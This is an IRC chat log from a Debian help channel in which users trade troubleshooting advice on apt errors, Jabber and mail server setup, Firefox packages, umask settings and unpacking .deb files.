| 21:26.07 | sml | abrotman: nice one. im out partying all night tomorrow! celebrating four birthday parties (me and my mates are all piceans). I just popped into work to use their net connection to install gnuchess coz im bored and fancied a game of chess. how bad is it when the only person you can play with is a computer on a friday night ;) |
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| 21:26.26 | abrotman | ah |
| 21:26.56 | sml | Tonight's other accomplishments: i watched half of series II of red dwarf :) |
| 21:27.30 | sml | abrotman: good job i dont have a net connection at home or i'd never sleep :) |
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| 21:28.24 | abrotman | sml: you sohuld get one |
| 21:28.39 | sml | abrotman: im waiting until there's a nearby hotspot ;) |
| 21:28.46 | kenboo | is there --show-dependency kind of option for dpkg ? |
| 21:28.50 | sml | most pubs around here have got wi-fi but not my local (yet) |
| 21:28.50 | abrotman | sml: could be a while .. |
| 21:28.58 | abrotman | sml: you're not in philly are you? |
| 21:29.02 | Phated | kenboo: apt-cache show package? |
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| 21:29.05 | sml | philly? |
| 21:29.09 | abrotman | guess not |
| 21:29.11 | kenboo | Phated, thanks |
| 21:29.11 | abrotman | philadelphia |
| 21:29.16 | sml | no no England. |
| 21:29.21 | abrotman | sml: close |
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| 21:30.04 | sml | abrotman: unfortunately the laptop runs "another distro" so it will be a while before its done installing |
| 21:30.17 | NaRCoT | MobyTurbo, I installed 'exim' & fetchmail'. I tried to confgure them and I think I srewed up somethings cause it's not working.... |
| 21:30.25 | abrotman | sml: lovely |
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| 21:31.11 | sml | abrotman: well i use my laptop to watch movies , music etc etc so I like it to run the latest and greatest apps so I decided not to use debian. with hindsight i wish i'd have put sarge on it. |
| 21:31.21 | abrotman | sml: so put sarge on it today :) |
| 21:31.21 | sml | its the only non-debian box i have. |
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| 21:31.29 | sml | abrotman: Will prolly be quicker lol. :) |
| 21:32.15 | sml | at least here i have a nice coffee machine. its a "gaggia". italian crafted excellence. |
| 21:32.18 | sml | free coffee all night. |
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| 21:32.38 | sml | shit i should see if there's a room going. 2M/bit net connection and a coffee machine what more could i want. |
| 21:32.55 | abrotman | stupid RH crap |
| 21:32.57 | waxmop | I want to install an IRC server for my office intranet; there's only about 30 of us, and we'll all be inside our VPN. I don't need any connections outside the VPN. any suggestions? |
| 21:33.09 | Phated | gaim! |
| 21:33.16 | abrotman | waxmop: jabber ? |
| 21:33.17 | Phated | Or jabber or something, I guess. |
| 21:33.37 | FieldySnuts | waxmop: i'd set up jabberd, which you can find at jabber.org |
| 21:33.45 | sml | waxmop: i've run ircu before.. very easy to setup and run. I played with it for a bit but only ever had people on the internet network use it. |
| 21:33.45 | abrotman | FieldySnuts: it's in sarge .. maybe woody |
| 21:33.58 | waxmop | abrotman: i looked at jabber, but it doesn't support chat rooms without adding components. |
| 21:34.08 | FieldySnuts | configuring it is a true pain in the ass, so be ready to invest time. but once you're done, it is solid |
| 21:34.12 | abrotman | waxmop: but the offline messaging rules! |
| 21:34.20 | abrotman | IMO anyways |
| 21:34.27 | waxmop | FieldySnuts: we use email for offline messaging. |
| 21:34.44 | abrotman | i still say jabberd |
| 21:34.45 | sml | email. my favorite app :) |
| 21:34.47 | FieldySnuts | only problem you might run into is finding a good client for windows systems. there was exodus but they seem to have fell off the planet. i can give you the last .exe if you wish (way OT here, free prog though) |
| 21:34.56 | FieldySnuts | indeed. jabber is so much better |
| 21:34.57 | abrotman | FieldySnuts: i still use it .. works fine |
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| 21:35.12 | abrotman | FieldySnuts: http://exodus.jabberstudio.org/ |
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| 21:35.20 | FieldySnuts | ohok |
| 21:35.29 | FieldySnuts | and on linux, gaim is fine for jabber as is psi |
| 21:35.31 | FieldySnuts | though psi is kde. |
| 21:35.38 | reto | since my last apt-get upgrade i can't apt-get anything anymore.. i'm getting these error-messages: http://rafb.net/paste/results/A4D8Hj97.html google knows about nothing.. :\ has anyone an idea? |
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| 21:36.21 | FieldySnuts | anyway yeah jabber is real useful. this happens to me commonly. my boss is back at the office. i'm on site somewhere. I remote desktop in or preferrably vnc to my linux workstation. fire up my jabber client, and talk to him in real time. it's easier than having to hassle with a phone etc. |
| 21:36.23 | abrotman | FieldySnuts: but yes .. they should release a new version |
| 21:36.28 | FieldySnuts | not to mention you can send files etc |
| 21:36.30 | reto | i tried apt-get -f install apt-get clean removing purgin packages .... everything |
| 21:36.35 | FieldySnuts | anyway, i'm for the jabber option. |
| 21:36.48 | FieldySnuts | there will be a small ammount of user eduacation, but they'll get it. |
| 21:36.53 | waxmop | FieldySnuts: can you explain how to add conferencing to jabber? |
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| 21:37.14 | FieldySnuts | waxmop: i did it a long time ago (over a year), i've since forgot. I think it's called muc (multi-user conferencing) |
| 21:37.27 | FieldySnuts | waxmop: but we never use it, in most clients it's irritating to either set up a "room" or join one. |
| 21:37.34 | maher | reto: try a different mirror |
| 21:37.49 | reto | mh i tried us and CH ones |
| 21:37.56 | abrotman | waxmop: there is a #jabber that might be able to answer more questions |
| 21:38.00 | reto | i also downloaded the .debs directly from the debian site.. |
| 21:38.02 | waxmop | abrotman: thx |
| 21:38.18 | FieldySnuts | anyway jabber on our network has become one of those "gee, what would we do without this" items |
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| 21:38.35 | FieldySnuts | i can see who's in, who's away, instantly send them a url, blah blah |
| 21:38.36 | maher | reto: check unp's md5sum |
| 21:38.39 | FieldySnuts | anyway enough ranting |
| 21:38.46 | abrotman | raving |
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| 21:39.50 | waxmop | FieldySnuts: so, what other features besides conferencing did you add? |
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| 21:40.36 | m0p | has the firefox 1.0.1 package from the unstable distribution have any bugs? it might sound stupid, but none of the bug reports have anything from 1.0.1. |
| 21:40.38 | reto | maher: they're the same as on the debian site :\ |
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| 21:40.59 | abrotman | !info mozilla-firefox sid |
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| 21:41.04 | dpkg | mozilla-firefox: (lightweight web browser based on Mozilla), section web, is optional. Version: 1.0.1-1 (sid), Packaged size: 8655 kB, Installed size: 24336 kB |
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| 21:41.13 | maher | reto: try installing unp manually with dpkg |
| 21:41.20 | FieldySnuts | waxmop: none, the basic features are all we've needed. conferencing we don't even use, it hasn't proven useful |
| 21:41.23 | m0p | that didn't really help. |
| 21:41.33 | reto | the same errors.. i tried that already |
| 21:41.58 | FieldySnuts | waxmop: if you do this be sure to set up ssl and allow only that, may as well have your comms secure. |
| 21:42.02 | reto | with dpkg -i PACKAGE |
| 21:42.13 | abrotman | m0p: some of them do |
| 21:42.15 | maher | reto: have you checked the bts |
| 21:42.18 | abrotman | m0p: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=298047 |
| 21:42.28 | reto | bts? whats that |
| 21:42.32 | abrotman | !bts |
| 21:42.32 | dpkg | hmm... bts is the Bug Tracking System for Debian packages, http://bugs.debian.org/ or to go directly to the bug page for a particular package, try http://bugs.debian.org/packagename or anyone running unstable who's unable to check the BTS should be shot on sight. apt-get install reportbug, and check out querybts too. sid users, apt-get install apt-listbugs, or ... |
| 21:42.40 | reto | ah :) |
| 21:42.43 | Phated | Aww, damn, I was going to do that. |
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| 21:42.57 | m0p | so, dyo think I would be better off staying with 1.0? |
| 21:42.58 | waxmop | FieldySnuts: do you know how i could automatically create default buddy lists for all users? |
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| 21:43.13 | FieldySnuts | waxmop: not really, i'd imagine something is out there |
| 21:43.13 | waxmop | then as new workers join the firm, i could update some central location. |
| 21:43.23 | m0p | or, would downloading the official build from mozilla.org be the best option? |
| 21:43.27 | FieldySnuts | it's just xml, shouldn't be a big deal |
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| 21:43.43 | waxmop | FieldySnuts: i don't really understand what SSL is. does it encrypt the client - server connection? is it a PITA to set up? |
| 21:44.00 | j_p_c_l | radeon 9250 SE in sarge... any way to get it working? Has ATI closed drivers for it? Is it apt-gettable somehow? |
| 21:44.03 | abrotman | m0p: what is the problem ? |
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| 21:44.13 | abrotman | waxmop: encrypts communications |
| 21:44.15 | FieldySnuts | waxmop: well by default it's just plaintext communication. somebody could sit on the network and intercept these things, which in business is just bad. but yeah ssl is encryption. |
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| 21:44.37 | FieldySnuts | waxmop: it's not a pita to set up |
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| 21:44.41 | EruditeHermit | hey does anyone know how to find the bdaddress of a bluetooth device? |
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| 21:44.51 | EruditeHermit | or anything about Linux bluetooth? |
| 21:45.14 | m0p | abrotman: I can't decide between downloading the slightly buggy firefox from the unstable dist, staying with 1.0, or downloading the official build of 1.0.1 from mozilla.org. |
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| 21:45.20 | aeromax | hey |
| 21:45.25 | abrotman | m0p: you haven't even said what is wrong with it |
| 21:45.26 | j_p_c_l | hey!!!! "radeon" and "ati" are not the same drivers?!? |
| 21:45.31 | abrotman | yay |
| 21:45.34 | aeromax | i have a problem with installing dcgui-qt |
| 21:45.41 | j_p_c_l | It works with "radeon" but not with "ati"... lol |
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| 21:45.43 | travisat | sg |
| 21:45.44 | m0p | I've heard of a couple of bugs with it. |
| 21:45.46 | aeromax | it tells me theres a package dependencey with versions but it seems the versio nis fine |
| 21:45.52 | abrotman | m0p: but you're not experiencing any? |
| 21:45.55 | aeromax | i cant get it running at all |
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| 21:46.07 | reto | maher: would you say it's a dpkg error? or something with unpacking? tar error?? |
| 21:46.08 | abrotman | wtf is dcgui-qt ? |
| 21:46.17 | m0p | I'm fine with 1.0, but I've heard of security issues that are fixed in 1.0.1. |
| 21:46.20 | abrotman | reto: you're not the first person i've seen with that |
| 21:46.29 | aeromax | abro: its a program for dc++ file sharing |
| 21:46.30 | maher | reto: looks like the deb is corrupt |
| 21:46.30 | abrotman | m0p: so .. upgrade .. i don't see the issue |
| 21:46.30 | EruditeHermit | dcgui-qt is buggy |
| 21:46.39 | reto | mhm |
| 21:46.39 | aeromax | really good every on my school network is using it |
| 21:46.42 | m0p | I haven't downloaded anything yet since I have very slow internet and don't want to download both. |
| 21:46.44 | EruditeHermit | it depends on a version of qt that is not in debian |
| 21:46.49 | aeromax | Erudite: are there any alternatives? |
| 21:46.52 | aeromax | for dc++ |
| 21:46.55 | EruditeHermit | dcgui |
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| 21:47.04 | EruditeHermit | its the gtk version |
| 21:47.04 | Phated | And if you're on sid, WTF do you not have apt-listbugs installed and just apt-get dist-upgrade? |
| 21:47.09 | m0p | I just want an opinion from someone who has tried the 1.0.1 package from sid. |
| 21:47.15 | travisat | erf its hard to r |
| 21:47.18 | Phated | It works fine. IMO. Thus far. |
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| 21:47.29 | maher | m0p: works for me |
| 21:47.33 | EruditeHermit | aeromax: try dcgui |
| 21:47.33 | abrotman | m0p: so uhm .. download 1.0.1 .. you haven't even said about a single bug yet .. just "heard from a friend of my brother's aunt's sister's son" |
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| 21:48.06 | aeromax | Erudite: i have dcgui, it isnt the same |
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| 21:48.15 | EruditeHermit | aeromax: yeah, I know |
| 21:48.19 | aeromax | its very hard to use and i cant get it work normal, doesnt seem like the same program |
| 21:48.23 | m0p | Fine, I'll get it. This might sound very stupid, but it will work fine in the Feb 1st snapshot of sarge right? |
| 21:48.27 | xnotte | what is the umask in mount option, to my uid can read, write, execute? |
| 21:48.31 | aeromax | dcgui-qt is exactly wat i want |
| 21:48.34 | EruditeHermit | aeromax: try building it yourself? |
| 21:48.38 | abrotman | !info mozilla-firefox sarge |
| 21:48.39 | aeromax | it use ot work perfectly |
| 21:48.43 | dpkg | mozilla-firefox: (lightweight web browser based on Mozilla), section web, is optional. Version: 1.0+dfsg.1-6 (sarge), Packaged size: 8646 kB, Installed size: 24320 kB |
| 21:48.45 | sobersabre | hi guys... what can make X11 Pointer to stop responding on a laptop with synaptucs touchepad, and usb mouse ? |
| 21:48.50 | aeromax | Erudite: how could i try building it myself |
| 21:48.50 | EruditeHermit | aeromax: if you are about tomorrow, I might just build it myself |
| 21:48.59 | EruditeHermit | aeromax: from sources? |
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| 21:49.13 | abrotman | m0p: not a clue .. i'm not sure what your setup is .. and snapshot dates don't matter .. you should be upgrading sarge anyways |
| 21:49.16 | aeromax | i tried downloading the deb package but that also gave me a bug |
| 21:49.18 | EruditeHermit | aeromax: its been pissing me off too |
| 21:49.25 | aeromax | even when i forced installed it |
| 21:49.30 | m0p | My internet is way to slow to update everything :( |
| 21:49.33 | EruditeHermit | aeromax: where did you download the deb package from? |
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| 21:49.37 | delire | anyone here know whether there's a *box (Flux, Open, Black) that allows one to set window 'padding'? eg a designated distance between windows when they are not overlapping. |
| 21:49.38 | sobersabre | the strange thing is: the cursor moves, but the buttons don't change anything... ignored |
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| 21:49.46 | puff | Hm, apt reports some security vulnerabilities in imagemagick. Is there an atlernative to imagemagick? |
| 21:49.49 | aeromax | same place my apt gets the deb from |
| 21:49.54 | abrotman | m0p: so run it overnight ? |
| 21:49.55 | puff | For the moment, I just need to rotate some images 90 degrees. |
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| 21:50.03 | EruditeHermit | aeromax: oh of course then |
| 21:50.05 | abrotman | puff: gimp ? |
| 21:50.10 | delire | puff: just use gimp |
| 21:50.12 | abrotman | puff: or you mean a batch job ? |
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| 21:50.17 | aeromax | Erudite: i dont know where else to get the deb from |
| 21:50.18 | m0p | It's dialup, I have to reconnect every now and then :| |
| 21:50.23 | EruditeHermit | aeromax: stick around, I am going to build it in a bit |
| 21:50.24 | maher | puff: use the fixed version? probably only local problems anyway |
| 21:50.31 | abrotman | m0p: so what? .. apt-get will continue where it died .. |
| 21:50.31 | xnotte | what is the umask in mount option, to my uid can read, write, execute? |
| 21:50.41 | abrotman | man mount ? |
| 21:50.48 | aeromax | Erudite: ok, im gonna go dinner, send me a message |
| 21:50.52 | m0p | I'll just try 1.0.1 and if it don't work I'll get 1.0 from my cd's. |
| 21:50.56 | EruditeHermit | aeromax: ok |
| 21:51.03 | MobyTurbo | m0p: I have dial-up and I keep my system updated - most of the time it's no big deal, just do it often so things don't build up. |
| 21:51.13 | m0p | k. |
| 21:51.16 | sml | ETA 2 mins till i can finally go home! |
| 21:51.23 | sml | oops wrong channel |
| 21:51.24 | abrotman | i used testing on dialup for months .. you can use trickle to slow it down if you're diong other stuff |
| 21:51.34 | Rob_R | does anyone know of a terminal emulator that natively uses the new transparency stuff in xorg? |
| 21:51.50 | abrotman | Rob_R: ask the xorg people .. debian doesn't have xorg |
| 21:51.57 | ptree | hi, normally what do you do when error appear during half unpack of dist-upgrade? i got the error during unpacking so i rerun install dist-upgrade..is there's a better way to continue ? |
| 21:52.03 | xogon | Rob_R: there's a command that sets it for any window |
| 21:52.21 | delire | Rob_R: any window will do the compositing stuff |
| 21:52.23 | sml | abrotman: how come debian doesn't have xorg as a package. does it have some special licence ? |
| 21:52.24 | m0p | I'm not exactly a Linux expert. So you must realise that when answering. I can use the apps I use generally, and that's about it. |
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| 21:52.46 | xogon | Rob_R: its transset you can apt-get install it |
| 21:52.50 | Rob_R | nono, i want it to do it natively, that way only the window will be transparent not the text too |
| 21:52.51 | abrotman | sml: /msg dpkg xorg .. there's an explanation in there |
| 21:52.55 | sml | ok thanks |
| 21:53.06 | abrotman | or rather a link to an explanation |
| 21:53.06 | delire | Rob_R: hehe tricky |
| 21:53.13 | xogon | Rob_R: it only sets it for whatever window you want. |
| 21:53.13 | abrotman | sml: but basically .. blame sarge :) |
| 21:53.18 | Rob_R | making the onscreen stuff like text part of the overall trans sucks |
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| 21:53.35 | sml | abrotman: sarge gets blamed for everything ;) |
| 21:53.35 | delire | Rob_R: same problem in OSex |
| 21:53.37 | ptree | hi, normally what do you do when error appear during half unpack of dist-upgrade? i got the error during unpacking so i rerun install dist-upgrade..is there's a better way to continue ? |
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| 21:53.53 | sml | ok i can go! |
| 21:53.53 | delire | Rob_R: personally i think it makes a mess of the desktop |
| 21:53.56 | sml | night night everyone |
| 21:53.57 | xogon | Rob_R: you mean have the terminal frame/background/etc. transparent but the text in it not? |
| 21:54.02 | Rob_R | http://photos.sebastian-bergmann.de/wopr-mobile-screenshots/aax?full=1 thats sort of what i want, i think that's kterm? |
| 21:54.32 | NaRCoT | Anyone knows how to make 'KMail' to use what I just configured with 'Fetchmail' ?? |
| 21:54.32 | xogon | that is transset |
| 21:55.01 | mattboll | debian is so beautiful |
| 21:55.04 | xogon | NaRCoT: kmail should generally not be used with fetchmail/procmail |
| 21:55.11 | delire | NaRCoT: #kde? |
| 21:55.22 | NaRCoT | delire, yep |
| 21:55.24 | mattboll | aptitude upgrade => 160 Mo to download ==> 1043 Ko free |
| 21:55.24 | xogon | NaRCoT: it fucks up its indexing. i wish it could be used that way but they've chosed to make it like that |
| 21:55.57 | mattboll | compare to windows (1Ko to dl 140 Mo in the hard drive) |
| 21:55.59 | NaRCoT | xogon, So, How should I send/recieve mail ? |
| 21:56.21 | NaRCoT | xogon, I've just finished installing 'exim' & 'fetchmail' |
| 21:56.22 | xogon | NaRCoT: with something like mutt and a properly configured MTA to send |
| 21:56.49 | MobyTurbo | NaRCoT: I reccomended exim and fetchmail when you were asking about mutt, *not* for a GUI MUA |
| 21:56.50 | maher | NaRCoT: can't you just configure kmail to use pop/imap directly |
| 21:56.51 | NaRCoT | xogon, So, what do I get with 'exim' & 'fetchmail' ? |
| 21:56.53 | reto | ok i try it again.. with some more information.. http://rafb.net/paste/results/x5gA8L81.html has anyone an idea?? because i cant find anything about that on google or on the debian bugs-site.. :\ |
| 21:57.11 | xogon | NaRCoT: read /usr/share/doc/exim-... doc on smarthost/smtp client auth since you will probably need that to send |
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| 21:57.36 | laicosa | is there a problem with the x.org licence ? |
| 21:57.42 | delire | mwilson: were you ever involved with OpenBox development? |
| 21:57.47 | delire | laicosa: no |
| 21:57.52 | m0p | ok people, your probably getting sick of my stupid questions, but what command should I use to update every package at once? I |
| 21:57.58 | delire | apt-get upgrade |
| 21:58.10 | xogon | i can never remember which /usr/share/doc/exim- i think its exim4-daemon-light or exim4-config, or maybe exim4-common |
| 21:58.11 | delire | m0p: after an 'apt-get update' of course |
| 21:58.12 | m0p | Ok, thanks. |
| 21:58.17 | maher | reto: do you need unp? |
| 21:58.19 | laicosa | delire thx |
| 21:58.29 | reto | maher: hehe no :) |
| 21:58.34 | maher | reto: don't install it then |
| 21:58.50 | m0p | thanks delire. |
| 21:58.51 | reto | maher: but as said.. it's the same error with avery package i want to install |
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| 21:58.55 | sobersabre | m0p: don't forget to run apt-get update before upgrade... |
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| 21:59.07 | m0p | oh, k. |
| 21:59.07 | Segers_J | I just reinstalled sarge (HD crash) and vi is acting wierd, the enter key pushes the line down and puts an M on the new line. What did I mess up? |
| 21:59.17 | reto | maher: in fact i need unzip.. |
| 21:59.18 | michael | what needs to be done before sarge is released? |
| 21:59.22 | m0p | update updates package list, and upgrade downloads, I presume? |
| 21:59.29 | delire | m0p: correct |
| 21:59.38 | NaRCoT | xogon, I just need you to explain me something, please. what's the role of each of the following: kmail, exim, fetchmail, mutt ? I got totally confused from all of this... why do I need 4 programs for just sending and recieving mail ??.... |
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| 21:59.46 | sobersabre | upgrade not only downloads... it also installs. |
| 21:59.46 | xogon | Segers_J: apt-get install vim dpkg -P nvi |
| 21:59.47 | m0p | Wow, I actually guessed something right for once. |
| 21:59.48 | reto | maher: maybe i could also compile it on my own .. but it's just very strange apt doesn't work.. |
| 21:59.49 | maher | reto: oh - maybe tar is broken |
| 21:59.55 | m0p | Ah. |
| 21:59.57 | maher | reto: do you have debsums installed |
| 22:00.00 | abrotman | !find bin/tar |
| 22:00.07 | delire | m0p: downloads/installs/configures et al |
| 22:00.08 | abrotman | maher: i've seen others say the same thing |
| 22:00.11 | reto | maher: i tought that too bad tar works fine.. |
| 22:00.12 | dpkg | Debian Search of 'bin/tar' (7): (/bin/tar) in base/tar ;; (/bin/tartest) in utils/star ;; (/usr/bin/tardy) in utils/tardy ;; (/usr/bin/tarcust) in devel/tarcust ;; (/usr/lib/mpich/bin/tarch) in devel/mpich-bin ;; (/usr/lib/gforge/bin/tarballs.sh) in devel/gforge-cvs ;; (/usr/lib/mpich-mpd/bin/tarch) in devel/mpich-mpd-bin. |
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| 22:00.25 | reto | maher: no |
| 22:00.28 | xogon | NaRCoT: exim: mail transfer agent. mutt: mail user agent fetchmail: retreives mail |
| 22:00.49 | xogon | NaRCoT: generally you send through exim, pull in with fetchmail, filter with procmail, and read in mutt |
| 22:01.12 | NaRCoT | xogon, Can't I just have one program handling it all ? |
| 22:01.22 | xogon | NaRCoT: kmail |
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| 22:01.41 | NaRCoT | xogon, so I can use kmail for all of this ? |
| 22:01.43 | maher | reto: can you use dpkg to unpack a deb? |
| 22:01.43 | delire | NaRCoT: that's what more monolithic clients try to do |
| 22:01.46 | xogon | NaRCoT: or many others, like sylpheed, balsa, evolution, etc. |
| 22:01.51 | Xenguy | NaRCoT: or sylpheed (lean and fast), or mozilla, or thunderbird |
| 22:01.53 | khanman | how do you request that a deb package be put into the pool? nbr2 is a really cool binary news reader..i was able to get it from gentoo portage..is there anyway to request it for debian ? |
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| 22:02.09 | abrotman | khanman: debian.org/devel/wnpp |
| 22:02.23 | reto | maher: no .. i get "short read in buffer_copy (backend dpkg-deb during `./usr/bin/ucat')" |
| 22:03.05 | Xenguy | maher: I think 'ar' is used for that |
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| 22:03.07 | Segers_J | xogon: oh, so I was used to vim, and the default installed nvi, duh, ok. Many thanks. :) |
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| 22:03.41 | xogon | Segers_J: update-alternatives -config vi |
| 22:03.43 | reto | maher: can i try to unpack it on my own? can i somehow unpack a .deb with tar? |
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| 22:03.47 | maher | reto: check the ucat bin |
| 22:04.07 | delire | reto: you can use dpkg to unpack a deb |
| 22:04.07 | michael | how can I find out what needs to be done before sarge is released? |
| 22:04.12 | Segers_J | xogon: no, no, no. Your previous plan worked flawlessly. |
| 22:04.18 | Xenguy | maher: nm, I'm not remember the correct program name |
| 22:04.25 | maher | Xenguy: it does use ar |
| 22:04.26 | xogon | Segers_J: either way. |
| 22:04.27 | reto | maher: hm i dont have a /usr/bin/ucat |
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| 22:04.36 | xnotte | what is the umask in mount option, to my uid can read, write, execute? |
| 22:04.57 | NaRCoT | xogon, Ok, so I installed & configured fetchmail. I installed 'exim'. Now I have to install Mutt instead of KMail to read them ? |
| 22:04.59 | m0p | michael: sarge still has a few hundred release critical bugs afaik. So, probably not for a while. |
| 22:05.03 | sobersabre | my mouse moves, but buttons don't work... what happened ? neither touchpad nor the mouse... |
| 22:05.15 | reto | mahermaher: that's ucat? should it be in /usr/bin ? |
| 22:05.18 | mattboll_ | xnotte: it's the contrary of chmod |
| 22:05.25 | xogon | xnotte: umask is the inverse of the default perms 022 = 755 |
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| 22:05.34 | mattboll_ | chmod 755 => 022 |
| 22:05.38 | mattboll_ | :) |
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| 22:06.02 | xogon | NaRCoT: its your choice what to use. the apps i said may take more time to configure but it may be a more rewarding experience |
| 22:06.12 | xnotte | ok thx |
| 22:06.12 | xogon | NaRCoT: or you can use kmail |
| 22:06.26 | reto | delire: it doesnt work with dpkg? but how does dokg unpack a .deb? can i make that too with tar? |
| 22:06.35 | michael | m0p: ok, thx |
| 22:06.39 | maher | reto: ucat is in unp |
| 22:06.46 | Phated | Don't .deb us ar? |
| 22:06.48 | Phated | use. |
| 22:06.57 | michael | m0p: how can I see which those are? |
| 22:07.01 | delire | reto: you can't unpack a deb with tar, it's a different archive |
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| 22:07.16 | Xenguy | reto: yes, use 'ar' (in the 'binutils' package) to 'unpack' a DEB |
| 22:07.17 | delire | reto: in fact deb is a 'package' not an archive |
| 22:07.20 | m0p | michael, I think there is a list of release critical bugs somewhere on the debian site which explain what the bugs are. |
| 22:07.29 | m0p | I'll get you a url if you want. |
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| 22:08.07 | michael | sure |
| 22:08.15 | NaRCoT | xogon, and we said 'kmail' can be a substitude for all three (exim, fetchmail & mutt) ? |
| 22:08.41 | delire | reto: if ar also fails (which is shouldn't) use dpkg with the flag x to extract it. |
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| 22:08.47 | maher | reto: try using ar / tar to unpack the deb |
| 22:09.01 | m0p | http://bugs.debian.org/release-critical/ - release critical bugs - http://bugs.qa.debian.org/cgi-bin/base.cgi - base system bugs - http://bugs.qa.debian.org/cgi-bin/standard.cgi - bugs in various packages |
| 22:09.06 | delire | maher: you can use tar? |
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| 22:09.13 | Xenguy | gah |
| 22:09.17 | NaRCoT | xogon, Do you know where can I get good docs about xonfiguring 'exim' & installing/configuring mutt ? |
| 22:09.19 | Phated | No, you can't, sheesh. |
| 22:09.27 | michael | m0p: thanks |
| 22:09.29 | abrotman | michael: /topic #debian-bugs |
| 22:09.29 | maher | delire: either ar or tar or something |
| 22:09.32 | m0p | no problem. |
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| 22:10.16 | delire | maher: tar for a deb? 'ar' perhaps |
| 22:10.21 | NaRCoT | Anyone knows where can I get good docs about configuring 'exim' & installing/configuring mutt ? |
| 22:10.28 | maher | delire: file foo.deb will tell you |
| 22:10.59 | delire | maher: huh |
| 22:11.23 | reto | yes i can unpack it with ar |
| 22:11.27 | reto | but dpkg fails |
| 22:11.29 | Xenguy | NaRCoT: (use google FFS) http://www.arson-network.com/index.php?class=tutorial&subargs=616 |
| 22:11.54 | maher | reto: check the dpkg binaries with md5sums |
| 22:12.05 | NaRCoT | Xenguy, thanks |
| 22:12.17 | Xenguy | yw |
| 22:12.27 | De_Mon | delire 'file' is a command foo.deb is a file, it tells you what type of file foo.deb is.. its pretty straightforward |
| 22:13.06 | sobersabre | guys,,, 3rd time in the air: what can make mouse in X to stop reponding to clicks ? only movement works. neither touchpad, not USBmouse... |
| 22:13.07 | sobersabre | ? |
| 22:13.14 | j_p_c_l | should one enable 32bit data tranfer in bios? Is it relevant? |
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| 22:14.35 | delire | De_Mon: yes i know that, i've been using 'file' for years. i didn't know tar could be used to extract *.deb's |
| 22:14.52 | reto | maher: ok .. dpkg-deb seems not to be the correct file.. |
| 22:14.54 | Xenguy | NaRCoT: I have a starter '~/.muttrc' file if you want it |
| 22:14.59 | xogon | NaRCoT: /usr/share/doc/<packagename> <-- THE best source for docs |
| 22:15.46 | reto | maher: i'll try to copy it |
| 22:15.46 | xogon | including examples |
| 22:16.11 | maher | reto: when you're donelook in your logs for disk errors |
| 22:16.18 | reto | mh yes |
| 22:17.02 | De_Mon | delire you did run 'file foo.deb' right? (because it says its a gzipped file) |
| 22:17.36 | reto | maher: ok it works :))) |
| 22:17.38 | De_Mon | huh. huh? the inflection is lost nevermind |
| 22:17.42 | reto | maher: thanks very much |
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| 22:18.05 | Xenguy | NaRCoT: time for me to jet - good luck |
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| 22:18.20 | delire | De_Mon: yes man, for chrissakes. i new it used gzip compression. i was talking about 'tar' actually successfully extracting debs. |
| 22:18.28 | gpled | is their a command to build init scripts? |
| 22:18.44 | delire | De_Mon: as for around 5 years i've been using dpkg to do this. |
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| 22:19.15 | sobersabre | gpled: what do you mean "init scripts" - the ones in /etc/init.d ? |
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| 22:19.27 | Loevborg | hello! is there some way to specify a (zsh) glob pattern for both .vimrc and .gvimrc? |
| 22:19.28 | gpled | sobersabre: yes |
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| 22:19.56 | sobersabre | gpled: each belongs to a package, except several that are installed with base system. |
| 22:20.08 | bogon | Loevborg: .(g|)vimrc |
| 22:20.37 | sobersabre | e.g. ssh belongs to ... openssh package. |
| 22:20.39 | Loevborg | bogon, a, beautiful! |
| 22:20.44 | gpled | sobersabre: i don't use debian that much, but seems i remember a command to add your own services (thats what rh calls them) |
| 22:20.54 | Loevborg | bogon, I thank thee. |
| 22:21.02 | bogon | you're welcome |
| 22:21.46 | dim | Is there any option I can set in Exim (/etc/exim.conf) to allow external connections from the outside? It seems to ONLY work when connecting through localhost. |
| 22:21.56 | EmleyMoor | I've got a strange problem with realplayer - it segfaults - either straight away if run as me, or at the end of the file if run as root... I have no idea why |
| 22:21.57 | dim | anyone? ;] |
| 22:22.03 | dim | I tried setting the 'interface = my.ip' option, but no luck |
| 22:22.19 | gpled | update-rc.d, does that sound right? |
| 22:22.31 | delire | yep |
| 22:22.36 | justin | dim: use dpkg to reconfigure exim |
| 22:22.45 | xarg | should I be using apache 1.3 or 2? |
| 22:22.54 | Loevborg | EmleyMoor, realplayer never actually worked for me on linux. |
| 22:23.07 | EmleyMoor | Until tonight, it *ALWAYS* worked for me |
| 22:23.17 | Loevborg | EmleyMoor, maybe you can make do with mplayer? |
| 22:23.28 | EmleyMoor | (well, not strictly true - but it always worked in this version) |
| 22:23.42 | EmleyMoor | Can mplayer play the files? |
| 22:23.43 | Loevborg | EmleyMoor, try to remove you settings.. (and don't run as root!! ever!) |
| 22:23.45 | delire | EmleyMoor: don't run it as root anyway. try 'ldd /path/to/realplayer' to see is it's not linking against a library it needs |
| 22:23.45 | sobersabre | gpled: i thought you were talking about /etc/init.d... and you're talking about /etc/rcX.d :) |
| 22:24.00 | Loevborg | EmleyMoor, if accompanied with the relevant w32codecs, yes. |
| 22:24.34 | EmleyMoor | delire: Never intended to run it as root - but interesting diagnostic |
| 22:24.34 | sobersabre | hm. |
| 22:25.30 | maher | EmleyMoor: strace it |
| 22:25.50 | sobersabre | anybody has experience with dcc package (debian cluster components ) ? |
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| 22:27.03 | EmleyMoor | maher: All sorts of stuff happens but then, after a load of read(, there's a load of brk(, and then the segfault |
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| 22:27.19 | tarzeau | pflanze! |
| 22:27.31 | EmleyMoor | I have a theory, if I can wipe out my user data for it, it may work |
| 22:27.56 | delire | EmleyMoor: did you see any bad links against libs? alternatively yes, get rid of any rc's and try again |
| 22:28.06 | EmleyMoor | Ah, yes, I think it will |
| 22:28.16 | EmleyMoor | delire: It's not dynamic |
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| 22:28.27 | pflanze | Hi tarzeau |
| 22:28.31 | delire | EmleyMoor: right ok |
| 22:28.59 | andersee | Any good suggestions for blocking ssh dictionary attacks? I am getting annoyed with the constant stream of failed ssh login attempts from multiple ips |
| 22:29.04 | gpled | sobersabre: your right. looks like update-rc.d is more like chkconfig |
| 22:29.17 | delire | EmleyMoor: i don't use it ;) |
| 22:29.19 | tarzeau | andersee: run your sshd on a port != 22 |
| 22:29.28 | calin | andersee: or turn off the ssh daemon |
| 22:29.35 | sobersabre | gpled: don't you talk redhattish with me! |
| 22:29.36 | sobersabre | :) |
| 22:30.14 | andersee | calin: heh. Would be painful to disable all access to my remote boxes. |
| 22:30.28 | gpled | sobersabre: :) |
| 22:30.38 | calin | andersee: go redhattish then. |
